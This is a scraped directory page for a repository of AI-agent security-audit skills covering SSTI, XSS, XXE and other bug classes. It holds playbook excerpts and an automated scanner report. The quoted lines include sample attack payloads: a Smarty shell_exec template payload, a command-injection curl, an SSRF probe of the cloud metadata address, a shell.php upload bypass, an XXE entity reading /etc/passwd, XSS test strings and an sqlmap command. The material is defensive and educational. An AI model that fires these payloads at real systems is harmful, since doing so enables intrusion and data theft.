SKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytesSKILL.mdcore30,101 bytes
Read SKILL.md
# Server-Side Template Injection (SSTI) Detection
You are performing a focused security assessment to find Server-Side Template Injection vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find candidate rendering sites where the template string is dynamic), **batched verify** (trace whether user input reaches each site's template argument, in parallel batches of 3), and **merge** (consolidate batch results into the final report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSTI
Server-Side Template Injection occurs when user-supplied input is embedded directly into a template string that is then evaluated by a template engine. Unlike passing user data as *context variables* to a static template, SSTI means the user can write template syntax that the engine will execute — leading to arbitrary code execution, file read, or full server compromise.
The core pattern: *unvalidated user input is used as the template string passed to a template engine's render/compile/evaluate function.*
View the complete source on GitHubsast-xss
When your agent uses it
Detect Cross-Site Scripting (XSS) vulnerabilities in a codebase using a three-phase approach: recon (find HTML/JS/DOM sink sites), batched verify (trace user input to sinks in parallel subagents, 3 sink sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xss-results.md. Use when asked to find XSS or cross-site scripting bugs.
What it loads into context
Frontmatter
115 tokensAlways available to the agent
SKILL.md
7,607 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is XSS
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytesSKILL.mdcore29,064 bytes
Read SKILL.md
# Cross-Site Scripting (XSS) Detection
You are performing a focused security assessment to find Cross-Site Scripting vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find sink sites), **batched verify** (trace taint for parallel batches of up to 3 sinks each), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XSS
XSS occurs when user-supplied input is incorporated into a web page's HTML, JavaScript, or DOM without proper escaping or sanitization. This allows attackers to inject and execute arbitrary scripts in victims' browsers, leading to session hijacking, credential theft, defacement, and malware distribution.
The core pattern: *unescaped, unsanitized user input reaches an HTML/JS output sink.*
View the complete source on GitHubsast-xxe
When your agent uses it
Detect XML External Entity (XXE) vulnerabilities in a codebase using a three-phase approach: recon (find XML parsing sites without external-entity hardening), batched verify (trace user input to each site in parallel subagents, 3 sites each), and merge (consolidate batch results). Requires sast/architecture.md (run sast-analysis first). Outputs findings to sast/xxe-results.md. Use when asked to find XXE or XML injection bugs.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
7,125 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is XXE
- Vulnerable vs. Secure Examples
- Execution
- Important Reminders
Files
SKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytesSKILL.mdcore28,900 bytes
Read SKILL.md
# XML External Entity (XXE) Detection
You are performing a focused security assessment to find XXE vulnerabilities in a codebase. This skill uses a three-phase approach with subagents: **recon** (find XML parsing sites where external entities are not safely disabled), **batched verify** (trace whether user-supplied input reaches those parsers, in parallel batches of 3), and **merge** (consolidate batch results into one report).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is XXE
XXE occurs when an XML parser processes a document containing a reference to an external entity and the parser has external entity resolution enabled. An attacker who can supply XML input can use this to read arbitrary local files, perform server-side request forgery (internal network probing), trigger denial-of-service via entity expansion (Billion Laughs), or in some stacks execute OS commands.
The core pattern: *user-controlled XML reaches an XML parser that has not disabled DTD processing or external entity resolution.*
View the complete source on GitHubSkills included
- sast-analysis
- sast-businesslogic
- sast-fileupload
- sast-graphql
- sast-hardcodedsecrets
- sast-idor
- sast-jwt
- sast-missingauth
- sast-pathtraversal
- sast-rce
- sast-report
- sast-sqli
- sast-ssrf
- sast-ssti
- sast-xss
- sast-xxe
- sast-analysis
- sast-businesslogic
- sast-fileupload
- sast-graphql
- sast-hardcodedsecrets
- sast-idor
- sast-jwt
- sast-missingauth
- sast-pathtraversal
- sast-rce
- sast-report
- sast-sqli
- sast-ssrf
- sast-ssti
- sast-xss
- sast-xxe
Repository facts
- License
- MIT
- Created
- Mar 30, 2026
- Last pushed
- Oct 23, 2026
- Forks
- 68
- Open issues
- 0
- Project activity
- Active
Rank over the last 12 weeks
Now #702 · best #483 · down 105 in 30 days
- #686 on Nov 1
- #690 on Nov 2
- #694 on Nov 3
- #696 on Nov 4
- #699 from Nov 5 to Nov 6
- #702 since Nov 7
60 earlier periods
- #469 on Aug 2
- #476 on Aug 8
- #477 on Aug 9
- #498 on Aug 10
- #494 on Aug 11
- #491 on Aug 12
- #499 on Aug 14
- #487 on Aug 16
- #491 on Aug 17
- #503 on Aug 18
- #500 on Aug 20
- #499 on Aug 21
- #483 on Aug 22
- #505 on Aug 23
- #506 on Aug 24
- #512 on Aug 25
- #505 on Aug 26
- #518 from Aug 27 to Aug 28
- #496 on Aug 30
- #521 on Sep 1
- #517 on Sep 2
- #526 on Sep 3
- #509 on Sep 4
- #502 on Sep 5
- #516 on Sep 6
- #517 on Sep 7
- #536 on Sep 8
- #525 on Sep 9
- #530 on Sep 10
- #524 on Sep 11
- #518 on Sep 13
- #538 on Sep 14
- #527 on Sep 15
- #537 on Sep 17
- #540 on Sep 18
- #523 on Sep 19
- #535 on Sep 20
- #542 on Sep 23
- #575 on Sep 29
- #562 on Sep 30
- #551 on Oct 1
- #554 on Oct 5
- #566 on Oct 6
- #597 on Oct 8
- #589 on Oct 9
- #575 on Oct 11
- #586 on Oct 12
- #589 on Oct 13
- #600 on Oct 14
- #597 on Oct 15
- #607 on Oct 16
- #612 on Oct 19
- #622 on Oct 20
- #607 on Oct 23
- #598 on Oct 24
- #669 on Oct 25
- #679 on Oct 28
- #681 on Oct 29
- #683 on Oct 30
- #687 on Oct 31
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 3, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 200 notes
sast-files/.agents/skills/sast-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-analysis/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-fileupload/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-graphql/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-graphql/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedsast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 40 dangerous shell commandsin 6 files: sast-rce/SKILL.md:34 sast-rce/SKILL.md:34 sast-xss/SKILL.md:60 and 3 more
- 380 network referencesin 28 files: sast-ssrf/SKILL.md:28 sast-ssrf/SKILL.md:28 sast-xxe/SKILL.md:28 and 25 more
- 4 obfuscation signalsin 2 files: sast-rce/SKILL.md:273 sast-rce/SKILL.md:273
- No instruction overrides
- No executable scripts
- 26 references to secretsin 4 files: sast-hardcodedsecrets/SKILL.md:116 sast-hardcodedsecrets/SKILL.md:116 sast-jwt/SKILL.md:142 and 1 more
- No requests to vote in Hot
Show all 450 signals by file
sast-files/.agents/skills/sast-businesslogic/SKILL.md
- Network accessline 296
> - **Dynamic Test**: > ``` > [Step-by-step instructions or curl commands to confirm the finding on the live app. - Network accessline 297
> ``` > [Step-by-step instructions or curl commands to confirm the finding on the live app. > Include exact HTTP method, endpoint, headers, and request body. - Network accessline 298
> [Step-by-step instructions or curl commands to confirm the finding on the live app. - Network accessline 312
> - **Dynamic Test**: > ``` > [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] - Network accessline 313
> ``` > [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.] > ``` - Network accessline 314
> [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]
sast-files/.agents/skills/sast-fileupload/SKILL.md
- Network accessline 108
# VULNERABLE: content-type only check (trivially bypassed with curl -H) - Network accessline 528
> - **Dynamic Test**: > ``` > [curl or HTTP request demonstrating the bypass. - Network accessline 529
> ``` > [curl or HTTP request demonstrating the bypass. > Example: curl -X POST https://app.example.com/upload \ - Network accessline 530
> [curl or HTTP request demonstrating the bypass. - Network accessline 531
> Example: curl -X POST https://app.example.com/upload \ - Network accessline 532
> -F "file=@shell.php;type=image/png" \ > then access: https://app.example.com/static/uploads/shell.php?cmd=id] > ``` - Network accessline 533
> then access: https://app.example.com/static/uploads/shell.php?cmd=id]
sast-files/.agents/skills/sast-graphql/SKILL.md
- Network accessline 84
const fragment = req.body.fragment; const query = `query { me { ${fragment} } }`; const data = await fetch('https://api.internal/graphql', { - Network accessline 85
const query = `query { me { ${fragment} } }`; const data = await fetch('https://api.internal/graphql', { method: 'POST', - Network accessline 86
const data = await fetch('https://api.internal/graphql', { - Network accessline 93
const PROXY_QUERY = `query ProxyMe { me { id name email } }`; app.post('/proxy', async (req, res) => { const data = await fetch('https://api.internal/graphql', { - Network accessline 94
app.post('/proxy', async (req, res) => { const data = await fetch('https://api.internal/graphql', { method: 'POST', - Network accessline 95
const data = await fetch('https://api.internal/graphql', { - Network accessline 293
> - **Dynamic Test**: > ``` > [curl or in-browser GraphQL request showing injected fragment/directive/field] - Network accessline 294
> ``` > [curl or in-browser GraphQL request showing injected fragment/directive/field] > ``` - Network accessline 295
> [curl or in-browser GraphQL request showing injected fragment/directive/field]
sast-files/.agents/skills/sast-hardcodedsecrets/SKILL.md
- Access to secretsline 116
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Access to secretsline 128
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 132
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 183
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 405
[Credential-related source omitted]
sast-files/.agents/skills/sast-idor/SKILL.md
- Network accessline 393
> - **Dynamic Test**: > ``` > [curl command or step-by-step instructions to confirm this finding on the live app. - Network accessline 394
> ``` > [curl command or step-by-step instructions to confirm this finding on the live app. > Include the exact endpoint, HTTP method, headers, and what to look for in the response. - Network accessline 395
> [curl command or step-by-step instructions to confirm this finding on the live app. - Network accessline 407
> - **Dynamic Test**: > ``` > [curl command or step-by-step instructions to confirm this finding on the live app. - Network accessline 408
> ``` > [curl command or step-by-step instructions to confirm this finding on the live app. > Include the exact endpoint, HTTP method, headers, and what to look for in the response. - Network accessline 409
> [curl command or step-by-step instructions to confirm this finding on the live app.
sast-files/.agents/skills/sast-jwt/SKILL.md
- Network accessline 99
token, secret, algorithms=["HS256"], options={"require": ["exp", "iss", "aud"]}, issuer="https://myapp.example.com", - Network accessline 100
options={"require": ["exp", "iss", "aud"]}, issuer="https://myapp.example.com", audience="myapp-api" - Network accessline 101
issuer="https://myapp.example.com", - Network accessline 114
# Only fetch keys from a known, trusted JWKS endpoint ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"} - Network accessline 115
ALLOWED_JWKS_URLS = {"https://accounts.google.com/.well-known/jwks.json"} - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 168
[Credential-related source omitted]
sast-files/.agents/skills/sast-missingauth/SKILL.md
- Network accessline 501
> - **Dynamic Test**: > ``` > [curl command or step-by-step to confirm on the live app. - Network accessline 502
> ``` > [curl command or step-by-step to confirm on the live app. > For missing auth: show the request with NO token succeeding. - Network accessline 503
> [curl command or step-by-step to confirm on the live app. - Network accessline 516
> - **Dynamic Test**: > ``` > [curl command or step-by-step instructions to confirm this finding on the live app.] - Network accessline 517
> ``` > [curl command or step-by-step instructions to confirm this finding on the live app.] > ``` - Network accessline 518
> [curl command or step-by-step instructions to confirm this finding on the live app.]
sast-files/.agents/skills/sast-pathtraversal/SKILL.md
- Network accessline 467
> - **Dynamic Test**: > ``` > [curl command or payload to confirm; show traversal and encoded variants as appropriate] - Network accessline 468
> ``` > [curl command or payload to confirm; show traversal and encoded variants as appropriate] > ``` - Network accessline 469
> [curl command or payload to confirm; show traversal and encoded variants as appropriate]
sast-files/.agents/skills/sast-rce/SKILL.md
- Dangerous shell operationline 34
- Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings - Dangerous shell operationline 135
exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => { - Dangerous shell operationline 209
result = eval(expr) # attacker can run __import__('os').system('id') - Dangerous shell operationline 216
exec(code) # full arbitrary code execution - Dangerous shell operationline 234
const result = eval(formula); // RCE: process.exit(), require('child_process')... - Possible obfuscationline 273
data = base64.b64decode(session_cookie) - Possible obfuscationline 281
user = json.loads(base64.b64decode(session_cookie)) - Dangerous shell operationline 407
> - `exec(var)`, `system(var)`, `passthru(var)`, `shell_exec(var)`, `popen(var, ...)`, `proc_open(var, ...)` — flag if any variable in command string - Dangerous shell operationline 411
> - `system(var)`, `exec(var)`, `spawn(var)`, `IO.popen(var)`, `Open3.popen3(var)` — flag if string form with interpolated variable - Dangerous shell operationline 433
> - `eval(var)` — flag if argument is a variable - Dangerous shell operationline 434
> - `exec(var)` — flag if argument is a variable - Dangerous shell operationline 435
> - `compile(var, ...)` followed by `exec()` — flag - Dangerous shell operationline 439
> - `eval(var)` — flag if argument is a variable - Dangerous shell operationline 446
> - `eval(var)` — always flag if variable in argument - Dangerous shell operationline 453
> - `eval(var)`, `instance_eval(var)`, `class_eval(var)`, `module_eval(var)` — flag if variable - Network accessline 629
> - **Dynamic Test**: > ``` > [curl command or payload to confirm the finding. - Network accessline 630
> ``` > [curl command or payload to confirm the finding. > Show the exact parameter, payload, and what to look for in the response. - Network accessline 631
> [curl command or payload to confirm the finding. - Network accessline 632
> Show the exact parameter, payload, and what to look for in the response. > Examples: > curl "https://app.example.com/ping?host=127.0.0.1;id" - Network accessline 633
> Examples: > curl "https://app.example.com/ping?host=127.0.0.1;id" > curl "https://app.example.com/ping?host=127.0.0.1%3Bid" - Network accessline 634
> curl "https://app.example.com/ping?host=127.0.0.1;id" - Network accessline 635
> curl "https://app.example.com/ping?host=127.0.0.1%3Bid" - Dangerous shell operationline 707
- **For OS command sinks**: `subprocess.run(["cmd", var])` with list form and no `shell=True` is NOT command injection — the argument is passed directly to the process without shell interpretation. Only flag when shell interpretation is pos - Dangerous shell operationline 708
- **For `eval`-like sinks**: there is almost no safe way to use `eval()` with user input. Any eval-like sink receiving external data should be flagged Vulnerable. - Dangerous shell operationline 711
- Second-order RCE is possible: a value stored from user input may later be deserialized or evaluated in a different code path (e.g., a user-supplied config stored in DB and later `eval()`'d by a cron job).
sast-files/.agents/skills/sast-report/SKILL.md
- Network accessline 160
[curl command or step-by-step test instructions from original finding]
sast-files/.agents/skills/sast-sqli/SKILL.md
- Network accessline 247
function getUser($id) { $stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id); return $stmt->fetch(); - Network accessline 248
$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id); return $stmt->fetch(); } - Network accessline 249
return $stmt->fetch(); - Network accessline 254
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute(['id' => $id]); return $stmt->fetch(); - Network accessline 255
$stmt->execute(['id' => $id]); return $stmt->fetch(); } - Network accessline 256
return $stmt->fetch(); - Network accessline 455
> - **Dynamic Test**: > ``` > [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. - Network accessline 456
> ``` > [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. > Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs] - Network accessline 457
> [sqlmap command or manual curl payload. Show parameter, payload, expected response signal. - Network accessline 458
> Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]
sast-files/.agents/skills/sast-ssrf/SKILL.md
- Network accessline 28
- HTTP client calls where the URL or host is built from user input: `requests.get(user_url)` - Network accessline 29
- Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)` - Network accessline 53
if parsed.hostname not in ALLOWED_HOSTS: raise ValueError("Destination not allowed") requests.get(user_url) - Network accessline 55
requests.get(user_url) - Network accessline 60
ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"] - Network accessline 61
if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES): abort(400) requests.get(user_url) - Network accessline 63
requests.get(user_url) - Network accessline 68
# Destination fully hardcoded — no user input involved response = requests.get("https://api.thirdparty.com/data") - Network accessline 69
response = requests.get("https://api.thirdparty.com/data") - Network accessline 81
# VULNERABLE: URL fully controlled by user @app.route('/fetch') def fetch(): - Network accessline 82
@app.route('/fetch') def fetch(): url = request.args.get('url') - Network accessline 83
def fetch(): - Network accessline 84
url = request.args.get('url') response = requests.get(url) return response.text - Network accessline 85
response = requests.get(url) - Network accessline 89
ALLOWED = {"api.example.com"} @app.route('/fetch') def fetch(): - Network accessline 90
@app.route('/fetch') def fetch(): url = request.args.get('url') - Network accessline 91
def fetch(): - Network accessline 93
if urlparse(url).hostname not in ALLOWED: abort(403) response = requests.get(url) - Network accessline 94
abort(403) response = requests.get(url) return response.text - Network accessline 95
response = requests.get(url) - Network accessline 103
def preview(request): target = request.GET.get('target') data = urllib.request.urlopen(target).read() - Network accessline 104
target = request.GET.get('target') data = urllib.request.urlopen(target).read() return HttpResponse(data) - Network accessline 105
data = urllib.request.urlopen(target).read() - Network accessline 112
if parsed.scheme != 'https' or parsed.hostname != 'media.example.com': return HttpResponse(status=400) data = urllib.request.urlopen(target).read() - Network accessline 113
return HttpResponse(status=400) data = urllib.request.urlopen(target).read() return HttpResponse(data) - Network accessline 114
data = urllib.request.urlopen(target).read() - Network accessline 122
app.post('/webhook/test', async (req, res) => { const { url } = req.body; const result = await fetch(url); - Network accessline 123
const { url } = req.body; const result = await fetch(url); res.json(await result.json()); - Network accessline 124
const result = await fetch(url); - Network accessline 132
const { hostname } = new URL(url); if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden'); const result = await fetch(url); - Network accessline 133
if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden'); const result = await fetch(url); res.json(await result.json()); - Network accessline 134
const result = await fetch(url); - Network accessline 172
// VULNERABLE: user-supplied URL piped into curl function fetch_preview($url) { - Network accessline 183
// SECURE: validate URL against allowlist before curl function fetch_preview($url) { - Network accessline 184
function fetch_preview($url) { $allowed = ['https://cdn.example.com/']; foreach ($allowed as $prefix) { - Network accessline 185
$allowed = ['https://cdn.example.com/']; - Network accessline 187
if (strpos($url, $prefix) === 0) { // ... proceed with curl } - Network accessline 188
// ... proceed with curl } } - Network accessline 213
// VULNERABLE: OkHttp with user-controlled host public String fetch(String host, String path) { - Network accessline 214
public String fetch(String host, String path) { - Network accessline 275
> > 1. **Python HTTP clients**: > - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` - Network accessline 276
> 1. **Python HTTP clients**: > - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` > - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)` - Network accessline 277
> - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)` - Network accessline 278
> - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)` - Network accessline 279
> - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)` - Network accessline 280
> - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)` - Network accessline 281
> > 2. **Python socket / DNS**: > - `socket.connect((host, port))`, `socket.create_connection((host, port))` - Network accessline 282
> 2. **Python socket / DNS**: > - `socket.connect((host, port))`, `socket.create_connection((host, port))` > - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)` - Network accessline 283
> - `socket.connect((host, port))`, `socket.create_connection((host, port))` - Network accessline 285
> > 3. **Python file-fetching with remote schemes**: > - `urllib.request.urlopen(url)` where url may be http/https/ftp - Network accessline 286
> 3. **Python file-fetching with remote schemes**: > - `urllib.request.urlopen(url)` where url may be http/https/ftp > - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote) - Network accessline 287
> - `urllib.request.urlopen(url)` where url may be http/https/ftp - Network accessline 289
> > 4. **Node.js / JavaScript HTTP clients**: > - `fetch(url)`, `node-fetch(url)` - Network accessline 290
> 4. **Node.js / JavaScript HTTP clients**: > - `fetch(url)`, `node-fetch(url)` > - `axios.get(url)`, `axios.post(url)`, `axios.request({url})` - Network accessline 291
> - `fetch(url)`, `node-fetch(url)` - Network accessline 333
> > 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): > - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` - Network accessline 334
> 11. **Shell-out to network tools** (via subprocess, exec, system, etc.): > - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` > - `os.system("curl " + url)`, `exec("wget " + url)` - Network accessline 335
> - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])` - Dangerous shell operationline 336
> - `os.system("curl " + url)`, `exec("wget " + url)` - Network accessline 336
> - `os.system("curl " + url)`, `exec("wget " + url)` - Network accessline 338
> > **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` - Network accessline 339
> **What to skip** (these are safe — do not flag): > - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` > - Internal loopback connections to `l - Network accessline 340
> - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")` - Network accessline 354
> - **File**: `path/to/file.ext` (lines X-Y) > - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] - Network accessline 355
> - **Function / endpoint**: [function name or route] > - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] > - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.] - Network accessline 356
> - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.] - Network accessline 420
> > 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: > - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inje - Network accessline 421
> 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path: > - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme inject - Network accessline 422
> - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client - Network accessline 432
> **For each call site, also check for mitigations**: > - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effec - Network accessline 433
> - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable. > - **Scheme- - Network accessline 434
> - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable. - Network accessline 456
> - **File**: `path/to/file.ext` (lines X-Y) > - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] - Network accessline 457
> - **Endpoint / function**: [route or function name] > - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] > - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → - Network accessline 458
> - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"] - Network accessline 459
> - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"] - Network accessline 463
> - **Dynamic Test**: > ``` > [curl command or payload to confirm the finding. - Network accessline 464
> ``` > [curl command or payload to confirm the finding. > Show the parameter, payload, and what to look for. - Network accessline 465
> [curl command or payload to confirm the finding. - Network accessline 466
> Show the parameter, payload, and what to look for. > Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" > or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5 - Network accessline 467
> Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/" - Network accessline 468
> or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"] - Network accessline 538
- **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, part - Network accessline 539
- **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF. - * - Network accessline 540
- **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.
sast-files/.agents/skills/sast-ssti/SKILL.md
- Network accessline 40
- `thymeleafEngine.process(user_input, ctx)` — Thymeleaf (Java) - `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP) - `$smarty->fetch("string:" . user_input)` — Smarty (PHP) - Network accessline 41
- `\Twig\Environment::createTemplate(user_input)->render(ctx)` — Twig (PHP) - `$smarty->fetch("string:" . user_input)` — Smarty (PHP) - `Liquid::Template.parse(user_input).render(ctx)` — Liquid (Ruby) - Network accessline 42
- `$smarty->fetch("string:" . user_input)` — Smarty (PHP) - Network accessline 273
// VULNERABLE: user-controlled template string via fetch("string:...") - Network accessline 274
$template = $_GET['tmpl']; $smarty->fetch("string:" . $template); // Payload: {php}echo shell_exec('id');{/php} - Network accessline 275
$smarty->fetch("string:" . $template); - Network accessline 380
> > 16. **PHP — Smarty**: > - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` - Network accessline 381
> 16. **PHP — Smarty**: > - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` > - `$smarty->fetch($var)` where var may contain a "string:" prefix - Network accessline 382
> - `$smarty->fetch("string:" . $var)` or `$smarty->display("string:" . $var)` - Network accessline 383
> - `$smarty->fetch($var)` where var may contain a "string:" prefix
sast-files/.agents/skills/sast-xss/SKILL.md
- Dangerous shell operationline 60
- `eval(var)` - Dangerous shell operationline 270
eval(event.data); - Dangerous shell operationline 400
> - `eval(var)` - Network accessline 538
> - **Dynamic Test**: > ``` > [curl command or browser payload to confirm the finding. - Network accessline 539
> ``` > [curl command or browser payload to confirm the finding. > Show the exact parameter, payload, and what to observe. - Network accessline 540
> [curl command or browser payload to confirm the finding. - Network accessline 541
> Show the exact parameter, payload, and what to observe. > Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" > Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box] - Network accessline 542
> Example: curl "https://app.example.com/search?q=<script>alert(1)</script>" - Network accessline 543
> Or: Visit https://app.example.com/#<img src=x onerror=alert(1)> and observe alert box]
sast-files/.agents/skills/sast-xxe/SKILL.md
- Network accessline 28
- XML parsed with external entity resolution **enabled by default** and no explicit hardening applied - `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">` - Network accessline 29
- `SYSTEM` entity declarations that reference `file://` or `http://` URIs: `<!ENTITY xxe SYSTEM "file:///etc/passwd">` - Network accessline 30
